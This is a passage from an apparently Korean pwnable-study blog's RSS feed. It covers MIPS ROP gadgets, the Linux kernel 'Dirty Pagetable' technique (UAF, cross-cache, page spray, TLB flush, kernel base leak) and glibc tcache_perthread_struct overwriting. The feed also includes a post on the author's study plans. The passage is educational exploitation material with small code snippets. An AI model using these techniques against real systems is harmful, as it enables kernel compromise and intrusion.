    lw     $s0, 0x18($sp)
    jr     $ra
    addiu  $sp, $sp, 0x30

0x0013eda4:
    addiu  $s0, $sp, 0x2c
    sw     $a0, 0x1c($sp)
    move   $t9, $s3
    jalr   $t9
    addiu  $s2, $sp, 0x1c

0x001ab95c:
    jr     $s0
    addi   $zero, $zero, 0x10

'''&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2764&quot; data-origin-height=&quot;1594&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dxs5yK/dJMcajviDcj/nnnffdOO8k7MRTqhAYc8qK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dxs5yK/dJMcajviDcj/nnnffdOO8k7MRTqhAYc8qK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dxs5yK/dJMcajviDcj/nnnffdOO8k7MRTqhAYc8qK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdxs5yK%2FdJMcajviDcj%2FnnnffdOO8k7MRTqhAYc8qK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2764&quot; height=&quot;1594&quot; data-origin-width=&quot;2764&quot; data-origin-height=&quot;1594&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;div&gt;
&lt;div id=&quot;code-block-viewer&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;위 예제 말고도 실제 Mips 환경에서의 익스플로잇을 보고 싶다면 실제 CVE의 RCE 코드를 찾아보도록 하자. (ex: &lt;a href=&quot;https://www.exploit-db.com/exploits/48994&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.exploit-db.com/exploits/48994&lt;/a&gt;)&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot; data-start=&quot;463&quot; data-end=&quot;573&quot;&gt;7. 마무리&amp;nbsp;&lt;/h3&gt;
&lt;/div&gt;
&lt;div&gt;이번 글에서는 Mips 환경에서의 익스플로잇을 알아보았다. x86/64 아키텍쳐와는 다르게 쉬운 ROP 예제도 굉장히 어렵게 느껴지는 것 같다. 사실 오늘은 원래 배송이 온 공유기를 직접 분석해보려구 했는데 다른 제품으로 배송이 와서 ㅏㅏㅏㅏㅏㅏㅏㅏㅏ(사기인가??) Mips 관련 익스를 올렸따. 오늘 용산에 가서 인두기랑 이것저것 사왔으니까 다음 글에서는 실제 공유기 분석등을 할 것 같다...&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;reference:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.cs.cornell.edu/courses/cs3410/2008fa/MIPS_Vol3.pdf?utm_source=chatgpt.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.cs.cornell.edu/courses/cs3410/2008fa/MIPS_Vol3.pdf ㅈ&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.cs.unm.edu/~jeffk/cs341f09/_media/o32callingconvention.pdf&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.cs.unm.edu/~jeffk/cs341f09/_media/o32callingconvention.pdf&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://jeongzero.oopy.io/67f7f2ce-2e58-461c-b65a-f3453efe96c4&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://jeongzero.oopy.io/67f7f2ce-2e58-461c-b65a-f3453efe96c4&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://hackyboiz.github.io/2025/08/21/newp1ayer48/mips/ko/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://hackyboiz.github.io/2025/08/21/newp1ayer48/mips/ko/&lt;/a&gt;&lt;/p&gt;</description>
      <category>Pwnable</category>
      <category>exploit</category>
      <category>mips</category>
      <category>Pwnable</category>
      <category>ROP</category>
      <author>haehet</author>
      <guid isPermaLink="true">https://haehet.tistory.com/30</guid>
      <comments>https://haehet.tistory.com/30#entry30comment</comments>
      <pubDate>Fri, 1 May 2026 21:51:07 +0900</pubDate>
    </item>
    <item>
      <title>블로그 운영 방향 및 앞으로 계획</title>
      <link>https://haehet.tistory.com/29</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;매우 오랜만에 블로그 글을 쓰는 것 같다. 3개월 동안 중간고사랑 학업을 하느라 해킹이랑 컴퓨터 공부할 시간이 많이 없었다. 이번 글에서는 블로그 운영 방향과 앞으로의 계획 등에 정리해보겠다..&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 블로그 운영 계획&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;내가 블로그를 운영하는 가장 큰 이유는 지식의 장기적인 보관과 포트폴리오 정리이다. 공부하면서 알게 된 내용을 글로 정리하면 나중에 다시 복습하기도 좋고 내가 어떤 분야를 어떤 방식으로 공부해왔는지도 자연스럽게 남길 수 있다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;다만 블로그를 작성하다 보니 모든 유형의 글을 하나의 플랫폼에 모아두는 것이 조금 불편하다는 생각이 들었다. 단순한 개념 정리, 공부 기록, 삽질 과정과 실제 보안 연구 결과, 취약점 분석, 프로젝트 성과는 글의 성격이 다르기 때문이다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;따라서 앞으로 Tistory에는 내가 공부한 컴퓨터 지식, 개념 정리, 학습 과정에서 겪은 삽질 등을 주로 올릴 예정이다. 반면 직접적인 보안 연구 결과, 취약점 분석, 익스플로잇 개발 과정, 프로젝트 성과 등은 GitHub Blog(haehet.github.io)에 따로 정리할 계획이다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;정리하자면 Tistory는 지식 정리용 블로그로 사용하고 GitHub Blog는 실제 연구 및 프로젝트 기록용 블로그로 사용할 예정이다.&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 앞으로의 계획&amp;nbsp;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;앞으로는 CTF나 워게임 문제 풀이에만 많은 시간을 쓰기보다는 실제 시스템과 소프트웨어를 분석하는 방향으로 공부를 이어가려고 한다. &lt;span&gt;물론 CTF와 워게임이 의미 없다고 생각하는 것은 아니다. 지금까지 워게임을 풀면서 바이너리 분석, 메모리 구조, 익스플로잇 기법, 디버깅 능력을 많이 키울 수 있었다. 다만 최근에는 학업 때문에 긴 시간 동안 문제에 몰입하기가 어려워졌고 예전처럼 매일 많은 시간을 들여 워게임을 풀기는 힘들어졌다.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;또한 AI 도구가 발전하면서 CTF나 워게임 문제 풀이에 대한 흥미가 조금 줄어든 것도 사실이다. 최근 청소년 CTF 문제의 대부분이 AI에 의해 풀리는 것 같다. 나는 AI 구독에 그렇게 큰 비용을 쓰지 않아서 codex에게 리버싱 문제를 1~2시간 정도 풀게하면 token이 다 나가버린다.. 이번 codegate 2026 예선을 참가하면서 AI 토큰이 적어서 경쟁력이 떨어진다는 느낌을 조금 받았다. (물론 나의 실력이 가장 큰 문제다... 나는 내가 CTF에서 뛰어나다고 생각하지 않는다..) 다만 이런 경험을 하면서 &lt;span&gt;CTF 문제를 많이 푸는 것보다 실제 시스템을 분석하고 현실적인 취약점이 어떤 구조에서 발생하는지 공부하는 방향이 나에게 더 잘 맞는다고 느꼈다. CTF는 아마 대입이 끝나고 흥미가 생기면 다시 할 것 같다...&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 앞으로는 내신 공부를 하고 심심할 때 내가 하고싶은 공부를 할것이다. 네트워크, 커널, 임베디드 시스템등을 분석해보고 싶다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 앞으로 작성할 글&amp;nbsp;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞으로 이 블로그에는 내가 공부하는 컴퓨터 지식들을 최대한 체계적으로 정리해볼 생각이다. 최근에 Router 를 분석하고 있으므로 아마 다음 포스트는 MIPS architecture 환경에서의 exploit을 다룰 것 같다. 또한 Router 와 같이 임베디드 환경을 분석하기 위해 UART 통신, SPI dump 등을 다룬 글도 쓸 것 같다. 그리고 무선 통신 보안에도 관심이 생겨 RTL-SDR등을 다룬 무선 통신 분석이나 다양한 네트워크 프로토콜의 기본적인 구현에 대해 공부한 포스트도 올릴 것이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. 마무리&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;앞으로는 완벽한 글을 쓰는 것보다 내가 공부한 내용을 꾸준히 기록하는 데 집중하려고 한다. Tistory에는 기반 지식과 학습 과정을 정리하고 GitHub Blog에는 실제 프로젝트와 취약점 분석 결과를 정리하면서 두 공간을 분리해서 운영해볼 예정이다. 학업이랑 병행을 하면서 공부를 하고있기 때문에 갑자기 몇달동안 블로그 포스트가 안올라 올 수도 있다 ㅠㅠ.&lt;/p&gt;</description>
      <author>haehet</author>
      <guid isPermaLink="true">https://haehet.tistory.com/29</guid>
      <comments>https://haehet.tistory.com/29#entry29comment</comments>
      <pubDate>Thu, 30 Apr 2026 21:32:40 +0900</pubDate>
    </item>
    <item>
      <title>[Linux kernel] Dirty Pagetable</title>
      <link>https://haehet.tistory.com/27</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;이번 글에서는 kernel exploit을 할 때 강력한 primitive를 얻을 수 있는 Dirty Pagetable에 대해서 정리해보겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. page table이란?&amp;nbsp;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;멀티레벨페이징을 공부했다면 알겠지만 page table은 CPU가 가상주소(VA)를 물리주소(PA)로 변환할 때 쓰는 테이블이다. CR3레지스터를 통해 확인 가능하다. (여기서는 따로 이론적인 내용을 길게 설명 안하겠다.)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1255&quot; data-origin-height=&quot;680&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WkIxV/dJMcajgHoMJ/sisuHuTTX4P0UboKFUAiN0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WkIxV/dJMcajgHoMJ/sisuHuTTX4P0UboKFUAiN0/img.png&quot; data-alt=&quot;kernel에서 CR3 register를 통해 PGD를 확인한 모습&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WkIxV/dJMcajgHoMJ/sisuHuTTX4P0UboKFUAiN0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWkIxV%2FdJMcajgHoMJ%2FsisuHuTTX4P0UboKFUAiN0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1255&quot; height=&quot;680&quot; data-origin-width=&quot;1255&quot; data-origin-height=&quot;680&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;kernel에서 CR3 register를 통해 PGD를 확인한 모습&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;page table은 항상 미리 다 만들어져 있는 게 아니라 Linux는 대부분의 매핑을 &lt;b&gt;지연(lazy) 생성&lt;/b&gt;한다. 즉 실제 페이지테이블 엔트리는 첫 접근(page fault)가 발생하면서 할당되는 경우가 많다. Dirty Pagetable 기법은 이를 이용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. Dirty pagetable&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Dirty pagetable이란 위에서 설명한 &lt;b&gt;Page table을 조작하는 기법&lt;/b&gt;이다. Page table을 우리가 원하는&lt;b&gt; 물리 주소&lt;/b&gt;로 조작가능하면 단순히 우리의 프로세스에서 특정 영역에 메모리 접근을 하는 것만으로도 kernel 영역의 메모리를 조작 가능하다. 또한 이 기법은 페이지의 권한까지 수정 가능하여 커널에 있는 &lt;b&gt;특정 함수를 우리가 원하는 셸코드&lt;/b&gt;로 바꾸는 것도 가능하다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보통 Dirty pagetable은 Cross-Cache attack과 같이 사용된다. 공격 과정은 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;●&amp;nbsp;&lt;b&gt;1. UAF 취약점이 있는 객체를 찾는다.&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;●&amp;nbsp;&amp;nbsp;&lt;b&gt;2. Cross-cache attack을 통해 UAF가 있는 객체를 해제 후 해당 슬랩 페이지를 버디 시스템에 반환한다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;●&amp;nbsp;&amp;nbsp;&lt;b&gt;3. Page spray를 통해 Pate table을 heap에 뿌린다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;●&amp;nbsp;&amp;nbsp;&lt;b&gt;4. UAF 취약점을 이용해 페이지 테이블을 조작 하고 AAR, AAW를 얻는다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;page spray는 위에서 말했듯이 page fault를 일으켜 주면 된다. 다음과 같이 큰 메모리 영역을 만들어 두고 원할 때 접근을 하면 page fault가 일어난다.&lt;/p&gt;
&lt;pre id=&quot;code_1769504694890&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;char pages[PAGE_SPRAY_COUNT][SPRAY_PAGE_SIZE] __attribute__((aligned(0x1000)));

// Spray pages
for (size_t page = 0; page &amp;lt; PAGE_SPRAY_COUNT; ++page)
    memset(pages[page], 'A', SPRAY_PAGE_SIZE);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;안정적인 exploit을 위해서는 &lt;b&gt;TLB(Translation Lookaside Buffer)&lt;/b&gt;를&amp;nbsp;&lt;b&gt;Flush&lt;/b&gt;해주는 과정이 필요하다. page table을 교체 했는데 CPU가 TLB에 있는 캐시 pte를 읽고 접근하면 원하는 메모리 접근이 안될 수 있기 때문이다. 다음과 같이 &lt;b&gt;mprotect로 &lt;/b&gt;해당 메모리의 접근 권한을 바꾸는 것을 통해 TLB flushing을 할 수 있다. (만약 mprotect같은 syscall이 사용 불가능한 상황이면 메모리 접근에 딜레이를 넣어보자)&lt;/p&gt;
&lt;pre id=&quot;code_1769505160363&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/* Flushes the TLB by temporarily changing memory permissions */
void flush_tlb_and_print(void *ptr, size_t count) {
    uint64_t *addresses = (uint64_t *)ptr;
    if (mprotect(addresses, count, PROT_READ) == -1) {
        perror(&quot;mprotect (set PROT_READ)&quot;);
        exit(EXIT_FAILURE);
    }
    /* Restore original permissions */
    if (mprotect(addresses, count, PROT_READ | PROT_WRITE) == -1) {
        perror(&quot;mprotect (restore PROT_READ | PROT_WRITE)&quot;);
        exit(EXIT_FAILURE);
    }
    printf(&quot;[*] TLB flushed by changing memory permissions.\n&quot;);
    fflush(stdout);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3. kernel base leak via phys&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Diry pagetable 공격이 성공을 했어도 우리가 원하는 주소의 물리주소를 알지 못하면 의미가 없다. 먼저 physmap의 물리주소는 그냥 phsymap의 가상 주소의 &lt;b&gt;하위 3바이트&lt;/b&gt;랑 동일하다.&amp;nbsp; 하지만 kernel base의 물리주소는 커널이 부팅될 때마다 바뀐다. 우리는 이 물리 주소를 얻기 위해서 커널의 특정 고정된 물리주소를 이용한다. 다음과 같이 &lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: left;&quot;&gt;물리 주소&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;0x9c000&lt;/b&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: left;&quot;&gt;에 접근 시 놀라운 점을 볼 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;581&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PLBy2/dJMcadHy88s/Q9z6R5nxwYHQH1EYMfozFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PLBy2/dJMcadHy88s/Q9z6R5nxwYHQH1EYMfozFk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PLBy2/dJMcadHy88s/Q9z6R5nxwYHQH1EYMfozFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPLBy2%2FdJMcadHy88s%2FQ9z6R5nxwYHQH1EYMfozFk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;581&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;581&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: left;&quot;&gt;다음과 같이 뭔가 수상한 숫자가 적혀있는데 이를 kbsae의 물리주소와 빼보면 &lt;b&gt;고정된 오프셋&lt;/b&gt;이 나오는 것을 알 수 있다. 이 커널의 경우&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;0x2404000&lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: left;&quot;&gt;이다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;378&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dV1zM7/dJMcadOiznj/JVIrcsiIOaEPrexWpkfqNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dV1zM7/dJMcadOiznj/JVIrcsiIOaEPrexWpkfqNK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dV1zM7/dJMcadOiznj/JVIrcsiIOaEPrexWpkfqNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdV1zM7%2FdJMcadOiznj%2FJVIrcsiIOaEPrexWpkfqNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;378&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;378&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;831&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lwsj3/dJMcagRRYT6/x2AQKsPoMWJMRmdS8lSC41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lwsj3/dJMcagRRYT6/x2AQKsPoMWJMRmdS8lSC41/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lwsj3/dJMcagRRYT6/x2AQKsPoMWJMRmdS8lSC41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Flwsj3%2FdJMcagRRYT6%2Fx2AQKsPoMWJMRmdS8lSC41%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;831&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;831&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: left;&quot;&gt;해당 근처 영역의 메모리를 계속 조사해보면 커널 부팅과 관련한 곳으로 보인다. 아마 커널의 부팅과정을 고정된 물리주소 근처에서 하는 듯 하다. 이를 통해 kernel base의 물리 주소를 얻으면 kernel 모든 영역의 aar, aaw를 얻을 수 있다.&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: left;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;reference:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://ptr-yudai.hatenablog.com/entry/2023/12/08/093606&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://ptr-yudai.hatenablog.com/entry/2023/12/08/093606&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://kuzey.rs/posts/Dirty_Page_Table/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://kuzey.rs/posts/Dirty_Page_Table/&lt;/a&gt;&lt;/p&gt;</description>
      <category>Linux kernel</category>
      <author>haehet</author>
      <guid isPermaLink="true">https://haehet.tistory.com/27</guid>
      <comments>https://haehet.tistory.com/27#entry27comment</comments>
      <pubDate>Tue, 27 Jan 2026 18:21:15 +0900</pubDate>
    </item>
    <item>
      <title>tcache_perthread_struct overwriting</title>
      <link>https://haehet.tistory.com/26</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;이번 글에서는 원하는 곳에 tcache를 맘대로 받을 수 있는 &lt;b&gt; tcache_perthread_struct overwrintg&lt;/b&gt;애 대해서 정리 해보겠다. (기법 이름은 사실 찾아도 잘 안나와서 내가 임의로 붙였다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. tcache의 구조&amp;nbsp;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;tcache는 스레드 별로 빠르게 할당을 해주기 위해 만들어진 목적에 맞게 &lt;b&gt;malloc_state&lt;/b&gt;가 아닌 다른 구조체에서 관리된다. 그 구조체는 &lt;b&gt;tcache_perthread_struct&lt;/b&gt;이다.&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;cpp&quot; style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;static __thread tcache_perthread_struct *tcache = NULL;
typedef struct tcache_perthread_struct
{
  uint16_t counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;다음과 같이 간단하게 tcache 별로 counts, entries pointer를 가지고 있다. 또한 이 구조체를 가리키는 &lt;b&gt;tcache 변수&lt;/b&gt;는 fsbase(TLS) 근처에 저장되어 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1150&quot; data-origin-height=&quot;365&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Gf9Ku/dJMcaaD6ctl/P0YZWyKHka9DFKbB56HAu1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Gf9Ku/dJMcaaD6ctl/P0YZWyKHka9DFKbB56HAu1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Gf9Ku/dJMcaaD6ctl/P0YZWyKHka9DFKbB56HAu1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGf9Ku%2FdJMcaaD6ctl%2FP0YZWyKHka9DFKbB56HAu1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1150&quot; height=&quot;365&quot; data-origin-width=&quot;1150&quot; data-origin-height=&quot;365&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 &lt;b&gt;tcache_perthread_struct 구조체&lt;/b&gt;는 어디에 있을까? 이 질문에 대한 답은 &lt;b&gt;tcache&lt;/b&gt;&lt;span&gt;가 초기화 되는 곳에서 알 수 있다.&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1769412471532&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;tcache_init(void)
{
  mstate ar_ptr;
  void *victim = 0;
  const size_t bytes = sizeof (tcache_perthread_struct);

  if (tcache_shutting_down)
    return;

  arena_get (ar_ptr, bytes);
  victim = _int_malloc (ar_ptr, bytes);
  if (!victim &amp;amp;&amp;amp; ar_ptr != NULL)
    {
      ar_ptr = arena_get_retry (ar_ptr, bytes);
      victim = _int_malloc (ar_ptr, bytes);
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
